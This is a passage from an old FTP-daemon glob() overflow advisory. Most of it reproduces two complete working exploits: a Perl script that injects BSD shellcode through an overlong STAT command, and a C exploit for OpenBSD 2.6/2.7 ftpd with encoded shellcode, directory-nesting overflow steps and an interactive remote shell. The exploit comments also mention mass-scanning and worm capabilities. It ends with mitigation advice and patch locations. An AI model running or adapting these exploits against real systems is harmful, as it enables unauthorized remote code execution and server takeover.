    # this version requires user access and writeable homedir without chroot.     #
    ###############################################################################

    require 5.002;
    use strict;
    use sigtrap;
    use Socket;

    my($recvbuf, $host, $user, $pass, $iaddr, $paddr, $proto, $code, $ret, $off, $align, $rin, $rout, $read);

    # teso shellcode ripped from 7350obsd

    $code  = "\x31\xc0\x99\x52\x52\xb0\x17\xcd\x80\x68\xcc\x73\x68\xcc\x68";
    $code .= "\xcc\x62\x69\x6e\xb3\x2e\xfe\xc3\x88\x1c\x24\x88\x5c\x24\x04";
    $code .= "\x88\x54\x24\x07\x89\xe6\x8d\x5e\x0c\xc6\x03\x2e\x88\x53\x01";
    $code .= "\x52\x53\x52\xb0\x05\xcd\x80\x89\xc1\x8d\x5e\x05\x6a\xed\x53";
    $code .= "\x52\xb0\x88\xcd\x80\x53\x52\xb0\x3d\xcd\x80\x51\x52\xb0\x0c";
    $code .= "\x40\xcd\x80\xbb\xcc\xcc\xcc\xcc\x81\xeb\x9e\x9e\x9d\xcc\x31";
    $code .= "\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\x8d";
    $code .= "\x5e\x10\x53\x52\xb0\x3d\xcd\x80\x89\x76\x0c\x89\x56\x10\x8d";
    $code .= "\x4e\x0c\x52\x51\x56\x52\xb0\x3b\xcd\x80\xc9\xc3\x55\x89\xe5";
    $code .= "\x83\xec\x08\xeb\x12\xa1\x3c\x50\x90";

    #$ret = 0xbfbfeae8; - stos lagoona
    #$ret = 0x805baf8; - bss info
    $ret = 0x805e23a; # - bss lagoon

    if (@ARGV < 3)
    {
	    print "Usage: $0 <hostname> <username> <password> [align] [offset]\n";
	    exit;
    }

    ($host, $user, $pass, $align, $off) = @ARGV;

    if (defined($off))
    {
	    $ret += $off;
    }

    if (!defined($align))
    {
	    $align = 1;
    }

    print "Globulka v1.0 by venglin\@freebsd.lublin.pl\n\n";
    print "RET: 0x" . sprintf('%lx', $ret) . "\n";
    print "Align: $align\n\n";

    $iaddr = inet_aton($host)			or die "Unknown host: $host\n";
    $paddr = sockaddr_in(21, $iaddr)		or die "getprotobyname: $!\n";
    $proto = getprotobyname('tcp')			or die "getprotobyname: $!\n";

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto)	or die "socket: $!\n";
    connect(SOCKET, $paddr)				or die "connect: $!\n";

    do
    {
	    $recvbuf = <SOCKET>;
    }
    while($recvbuf =~ /^220- /);

    print $recvbuf;

    if ($recvbuf !~ /^220 .+/)
    {
	    die "Exploit failed.\n";
    }

    send(SOCKET, "USER $user\r\n", 0)		or die "send: $!\n";
    $recvbuf = <SOCKET>;

    if ($recvbuf !~ /^(331|230) .+/)
    {
	    print $recvbuf;
	    die "Exploit failed.\n";
    }

    send(SOCKET, "PASS $pass\r\n", 0)		or die "send: $!\n";
    $recvbuf = <SOCKET>;

    if ($recvbuf !~ /^230 .+/)
    {
	    print $recvbuf;
	    die "Exploit failed.\n";
    }
    else
    {
	    print "Logged in as $user/$pass. Sending evil STAT command.\n\n";
    }

    send(SOCKET, "MKD " . "A"x255 . "\r\n", 0)		or die "send: $!\n";
    $recvbuf = <SOCKET>;

    if ($recvbuf !~ /^(257|550) .+/)
    {
	    print $recvbuf;
	    die "Exploit failed.\n";
    }

    send(SOCKET, "STAT A*/../A*/../A*/" . "\x90" x (90+$align) . $code .
	    pack('l', $ret) x 30 . "\r\n", 0)		or die "send: $!\n";

    sleep 1;

    send(SOCKET, "id\n", 0) 			or die "send: $!\n";
    $recvbuf = <SOCKET>;

    if ($recvbuf !~ /^uid=.+/)
    {
	    die "Exploit failed.\n";
    }
    else
    {
	    print $recvbuf;
    }

    vec($rin, fileno(STDIN), 1) = 1;
    vec($rin, fileno(SOCKET), 1) = 1;

    for(;;)
    {
	    $read = select($rout=$rin, undef, undef, undef);
	    if (vec($rout, fileno(STDIN), 1) == 1)
	    {
		    if (sysread(STDIN, $recvbuf, 1024) == 0)
		    {
			    exit;
		    }
		    send(SOCKET, $recvbuf, 0);
	    }

	    if (vec($rout, fileno(SOCKET), 1) == 1)
	    {
		    if (sysread(SOCKET, $recvbuf, 1024) == 0)
		    {
			    exit;
		    }
		    syswrite(STDIN, $recvbuf, 1024);
	    }
    }

    close SOCKET;

    exit;

    Another code by dvorak, Scrippie and jimjones:

    /*
       This source code is proprietary material. Commercial use, distribution,
       modification or use of any part of this source code in any form is
       strictly prohibited.
       Non-commercial use, modification and distribution is allowed, as long
       as any modification is made known to the author.
    
    
       Not fully developed exploit but it works most of the time ;)
    
       Things to add:
          - automatic writeable directory finding
          - syn-scan option to do mass-scanning
          - worm capabilities? (should be done seperatly using the -C option
    
       11/13/2000
    */
    
    #include <stdio.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <limits.h>
    
    void usage(char *program);
    char *strcreat(char *, char *, int);
    char *longToChar(unsigned long);
    char *xrealloc(void *, size_t);
    void xfree(char **ptr);
    char *xmalloc(size_t);
    int xconnect(char *host, u_short port);
    void xsend(int fd, char *buf);
    void xsendftpcmd(int fd, char *command, char *param);
    void xrecieveall(int fd, char *buf, int size);
    void xrecieve(int fd, char *buf, int size);
    void ftp_login(int fd, char *user, char *password);
    void exploit(int fd);
    
    int verbose = 0;
    
    
    /*
       Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask
       to get rid of dots and slashes.
    */
    
    char heavenlycode[] =
    "\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80"
    "\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8"
    "\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xfa\xbf\xbd\xeb\x67\x3b\xfc"
    "\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5"
    "\xf9\xbf\xaf\xeb\x67\x3b\x23\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a"
    "\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5"
    "\xb4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9"
    "\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x67\x3b\x42\x2d\x55\x44"
    "\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84"
    "\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94"
    "\xd9\xd3";
    
    char user[255] = "anonymous";
    char pass[255] = "anonymous@abc.com";
    char write_dir[PATH_MAX] = "/";
    int ftpport = 21;
    unsigned long int ret_addr = 0;
    #define CMD_LOCAL 0
    #define CMD_REMOTE 1
    int command_type = -1;
    char *command = NULL;
    
    struct typeT {
            char *name;
            unsigned long int ret_addr;
    };
    
    #define NUM_TYPES 2
    struct typeT types[NUM_TYPES] = {
            "OpenBSD 2.6", 0xdfbfd0ac,
            "OpenBSD 2.7", 0xdfbfd0ac};
    
    void
    usage(char *program)
    {
            int i;
            fprintf(stderr,
                    "\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d direct
    ory] [-t type]\n\t\t[-r retaddr] [-c command]
    [-C command]\n\n"
                    "Directory should be an absolute path, writable by the user.\n"
                    "The argument of -c will be executed on the remote host\n"
                    "while the argument of -C will be executed on the local\n"
                    "with its filedescriptors connected to the remote host\n"
                    "Valid types:\n",
                    program);
            for (i = 0; i < NUM_TYPES; i++) {
                    printf("%d : %s\n", i,  types[i].name);
            }
            exit(-1);
    }
    
    
    main(int argc, char **argv)
    {
            unsigned int i;
            int opt, fd;
            unsigned int type = 0;
            char *hostname = "localhost";
    
            if (argc < 2)
                    usage(argv[0]);
    
            while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) {
                    switch (opt) {
                    case 'h':
                            hostname = optarg;
                            break;
                    case 'C':
                            command = optarg;
                            command_type = CMD_LOCAL;
                            break;
                    case 'c':
                            command = optarg;
                            command_type = CMD_REMOTE;
                            break;
                    case 'r':
                            ret_addr = strtoul(optarg, NULL, 0);
                            break;
                    case 'v':
                            verbose++;
                            break;
                    case 'f':
                            if (!(ftpport = atoi(optarg))) {
                                    fprintf(stderr, "Invalid destination port - %s\
    n", optarg);
                                    exit(-1);
                            }
                            exit(-1);
                            break;
                    case 'u':
                            strncpy(user, optarg, sizeof(user) - 1);
                            user[sizeof(user) - 1] = 0x00;
                            break;
                    case 'p':
                            strncpy(pass, optarg, sizeof(pass) - 1);
                            pass[sizeof(pass) - 1] = 0x00;
                            break;
                    case 'd':
                            strncpy(write_dir, optarg, sizeof(write_dir) - 1);
                            write_dir[sizeof(write_dir) - 1] = 0x00;
                            if ((write_dir[0] != '/'))
                                    usage(argv[0]);
                            if ((write_dir[strlen(write_dir) - 1] != '/'))
                                    strncat(write_dir, "/", sizeof(write_dir) - 1);
                            break;
                    case 't':
                            type = atoi(optarg);
                            if (type > NUM_TYPES)
                                    usage(argv[0]);
                            break;
                    default:
                            usage(argv[0]);
                    }
            }
    
            if (ret_addr == 0)
                    ret_addr = types[type].ret_addr;
            if ((fd = xconnect(hostname, ftpport)) == -1)
                    exit(-1);
            else
                    printf("Connected to remote host! Sending evil codes.\n");
    
    
            ftp_login(fd, user, pass);
            exploit(fd);
    
    
    }
    
    int
    ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg
    )
    {
            xsendftpcmd(fd, command, param);
            xrecieveall(fd, res, size);
    
            if (res == NULL)
                    return 0;
            if (verbose)
                    printf("%s\n", res);
            if (msg && (res[0] != '2')) {
                    fprintf(stderr, "%s\n", msg);
                    exit(-1);
            }
            return (res[0] != '2');
    }
    
    void shell(int fd)
    {
            fd_set readfds;
            char buf[1];
            char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n";
    
            write(fd, tst, strlen(tst));
            while (1) {
                    FD_ZERO(&readfds);
                    FD_SET(0, &readfds);
                    FD_SET(fd, &readfds);
                    select(fd + 1, &readfds, NULL, NULL, NULL);
                    if (FD_ISSET(0, &readfds)) {
                            if (read(0, buf, 1) != 1) {
                                    perror("read");
                                    exit(1);
                            }
                            write(fd, buf, 1);
                    }
                    if (FD_ISSET(fd, &readfds)) {
                            if (read(fd, buf, 1) != 1) {
                                    perror("read");
                                    exit(1);
                            }
                            write(1, buf, 1);
                    }
            }
    }
    
    void do_command(int fd)
    {
            char buffer[1024];
            int len;
    
            if (command_type == CMD_LOCAL) {
                    dup2(fd, 0);
                    dup2(fd, 1);
                    dup2(fd, 2);
                    execl(command, command, NULL);
                    exit (2);
            }
            write(fd, command, strlen(command));
            write(fd, "\n", 1);
            while ((len = read(fd, buffer, sizeof(buffer))) > 0) {
                    write(1, buffer, len);
            }
            exit (0);
    }
    
    int exploit_ok(int fd)
    {
            char result[1024];
            xsend(fd, "id\n");
    
            xrecieve(fd, result, sizeof(result));
            return (strstr(result, "uid=") != NULL);
    }
    
    void exploit(int fd)
    {
            char res[1024];
            int heavenlycode_s;
            char *dir = NULL;
    
            ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir");
    
            dir = strcreat(dir, "A", 255 - strlen(write_dir));
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
    
            /* next on = 256 */
    
            dir = strcreat(dir, "A", 255);
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
            /* next on = 512 */
    
            heavenlycode_s = strlen(heavenlycode);
            dir = strcreat(dir, "A", 254 - heavenlycode_s);
            dir = strcreat(dir, heavenlycode, 1);
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
            /* next on = 768 */
    
            dir = strcreat(dir, longToChar(ret_addr), 252 / 4);
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
            /* length = 1020 */
    
            /* 1022 moet " zijn */
            dir = strcreat(dir, "AAA\"", 1);
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
    
            /* and tell it to blow up */
            ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL);
    
            if (!exploit_ok(fd)) {
                    if (command != NULL) {
                            exit (2);
                    }
                    fprintf(stderr, "Exploit failed\n");
                    exit (1);
            }
            if (command == NULL)
                    shell(fd);
            else
                    do_command(fd);
    }
    
    
    char *
    strcreat(char *dest, char *pattern, int repeat)
    {
            char *ret;
            size_t plen, dlen = 0;
            int i;
    
            if (dest)
                    dlen = strlen(dest);
            plen = strlen(pattern);
    
            ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);
    
            if (!dest)
                    ret[0] = 0x00;
    
            for (i = 0; i < repeat; i++) {
                    strcat(ret, pattern);
            }
            return (ret);
    }
    
    char *
    longToChar(unsigned long blaat)
    {
            char *ret;
    
            ret = (char *) xmalloc(sizeof(long) + 1);
            memcpy(ret, &blaat, sizeof(long));
            ret[sizeof(long)] = 0x00;
    
            return (ret);
    }
    
    char *
    xrealloc(void *ptr, size_t size)
    {
            char *wittgenstein_was_a_drunken_swine;
    
            if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size)))
    {
                    fprintf(stderr, "Cannot calculate universe\n");
                    exit(-1);
            }
            return (wittgenstein_was_a_drunken_swine);
    }
    
    void
    xfree(char **ptr)
    {
            if (!ptr || !*ptr)
                    return;
            free(*ptr);
            *ptr = NULL;
    }
    
    char *
    xmalloc(size_t size)
    {
            char *heidegger_was_a_boozy_beggar;
    
            if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {
                    fprintf(stderr, "Out of cheese error\n");
                    exit(-1);
            }
            return (heidegger_was_a_boozy_beggar);
    }
    
    
    int
    xconnect(char *host, u_short port)
    {
            struct hostent *he;
            struct sockaddr_in s_in;
            int fd;
    
            if ((he = gethostbyname(host)) == NULL) {
                    perror("gethostbyname");
                    return (-1);
            }
            memset(&s_in, 0, sizeof(s_in));
            s_in.sin_family = AF_INET;
            s_in.sin_port = htons(port);
            memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);
    
            if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
                    perror("socket");
                    return (-1);
            }
            if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1)
    {
                    perror("connect");
                    return (-1);
            }
            return fd;
    }
    
    /* returns status from ftpd */
    void
    ftp_login(int fd, char *user, char *password)
    {
            char reply[512];
            int rep;
            xrecieveall(fd, reply, sizeof(reply));
            if (verbose) {
                    printf("Logging in ..\n");
                    printf("%s\n", reply);
            }
            xsendftpcmd(fd, "USER", user);
            xrecieveall(fd, reply, sizeof(reply));
            if (verbose)
                    printf("%s\n", reply);
            xsendftpcmd(fd, "PASS", password);
            xrecieveall(fd, reply, sizeof(reply));
            if (verbose)
                    printf("%s\n", reply);
    
            if (reply[0] != '2') {
                    printf("Login failed.\n");
                    exit(-1);
            }
    }
    
    void
    xsendftpcmd(int fd, char *command, char *param)
    {
            xsend(fd, command);
    
            if (param != NULL) {
                    xsend(fd, " ");
                    xsend(fd, param);
            }
            xsend(fd, "\r\n");
    }
    
    
    void
    xsend(int fd, char *buf)
    {
    
            if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
                    perror("send");
                    exit(-1);
            }
    }
    
    void
    xrecieveall(int fd, char *buf, int size)
    {
            char scratch[6];
    
            if (buf == NULL || size == 0) {
                    buf = scratch;
                    size = sizeof(scratch);
            }
            memset(buf, 0, size);
            do {
                    xrecieve(fd, buf, size);
            } while (buf[3] == '-');
    }
    /* recieves a line from the ftpd */
    void
    xrecieve(int fd, char *buf, int size)
    {
            char *end;
            char ch;
    
            end = buf + size;
    
            while (buf < end) {
                    if (read(fd, buf, 1) != 1) {
                            perror("read"); /* XXX */
                            exit(-1);
                    }
                    if (buf[0] == '\n') {
                            buf[0] = '\0';
                            return;
                    }
                    if (buf[0] != '\r') {
                            buf++;
                    }
            }
            buf--;
            while (read(fd, buf, 1) == 1) {
                    if (buf[0] == '\n') {
                            buf[0] = '\0';
                            return;
                    }
            }
            perror("read");         /* XXX */
            exit(-1);
    }

SOLUTION

    This  advisory  will  be  updated  as  more  information   becomes
    available.   The most  recent version  is available  from the  PGP
    Security website at:

        http://www.pgp.com/research/covert/advisories/048.asp

    The  CERT/CC  is  coordinating  the  collection  of information on
    vulnerable  distributions  from  third  party  vendors.   For more
    information, please read CERT Advisory CA-2001-07 available at:

        http://www.cert.org/advisories/CA-2001-07.html

    In lieu of  a patch, these  vulnerabilities may be  addressed in a
    general  fashion  by  ensuring  that  no  directories exist in the
    anonymous FTP tree  that are writable  by the anonymous  FTP user.
    Furthermore, BSD and Irix users should take care to ensure that no
    directory  in  the  anonymous  FTP  tree  has a name longer than 8
    characters.  It is important  to note that these precautions  will
    not  prevent  local  user  privilege  escalation  through  the FTP
    daemon.

    For NetBSD fixed versions are:

        NetBSD-current:    April 03, 2001
        NetBSD-1.5 branch: April 04, 2001
        NetBSD-1.4 branch: April 04, 2001

    Chris Evans added following. vsftpd is not vulnerable, because
    1) It contains  a minimal internal  pattern matcher, which  uses a
       secure string handling API.
    2) It does not use the underlying operating system's glob() at all.

    vsftpd is available at:

        ftp://ferret.lmh.ox.ac.uk/pub/linux/vsftpd-0.0.15.tar.gz

    In fact because of point 2) above, vsftpd is safe even on  systems
    with buggy  glob() such  as OpenBSD  etc.   For a  while now,  the
    security documentation has specifically commented on the risks  of
    using glob().

    For FreeBSD:

        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch
        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch.asc
        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch
        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch.asc

    For Progeny Linux:

        wget http://archive.progeny.com/progeny/updates/newton/ftpd_0.17-3_i386.deb